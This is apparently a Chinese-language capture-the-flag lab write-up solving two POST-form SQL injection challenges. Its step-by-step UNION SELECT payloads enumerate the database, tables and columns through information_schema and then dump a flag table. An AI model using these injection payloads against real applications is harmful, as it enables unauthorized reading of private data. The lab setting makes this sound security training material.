SQL注入---Post注入----Rank1---2

4.2.1-SQL注入-POST注入Rank 1

1.查询是否有注入点

对输入框填入一些闭合的符号,看页面是否异常。在输入框输入’,页面正常,证明’闭合有效
SQL注入---Post注入----Rank1---2

2.猜解字段数

order by 查询字段数
SQL注入---Post注入----Rank1---2
SQL注入---Post注入----Rank1---2
SQL注入---Post注入----Rank1---2
得出字段数为3

3.union联合查询输出点

SQL注入---Post注入----Rank1---2

4.查询当前数据库名

’ union select 1,2,database()#
SQL注入---Post注入----Rank1---2
得出数据库名为post_error

5.查询post_error数据库下表名

’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘post_error’ #
SQL注入---Post注入----Rank1---2
post_error数据库下有flag和user两个表

6.查询表中字段名

’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘flag’#
SQL注入---Post注入----Rank1---2

7.查表中的内容

’ union select 1,Id,flag from flag #
SQL注入---Post注入----Rank1---2
得出flag为zKaQ-PostK1

4.2.2-SQL注入-POST注入Rank 2

1.查询是否有注入点

对输入框填入一些闭合的符号,看页面是否异常。在输入框输入"),页面正常,证明")闭合有效

SQL注入---Post注入----Rank1---2

2.猜解字段数

SQL注入---Post注入----Rank1---2
SQL注入---Post注入----Rank1---2
得出字段数为3

2.union联合查询输出点

union select 1,2,3 #
SQL注入---Post注入----Rank1---2

3.查询当前数据库名

") union select 1,2,database() #
SQL注入---Post注入----Rank1---2
得出数据库名为post_error

4.查询数据库下的表名

") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘post_error’ #
SQL注入---Post注入----Rank1---2
查出post_error数据库下有flag和user两个表

5.查询表中字段

") union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘flag’ #
SQL注入---Post注入----Rank1---2

6.查表中内容

") union select 1,Id,flag from flag limit 1,1 #
SQL注入---Post注入----Rank1---2
得出flag值为zKaQ-XZT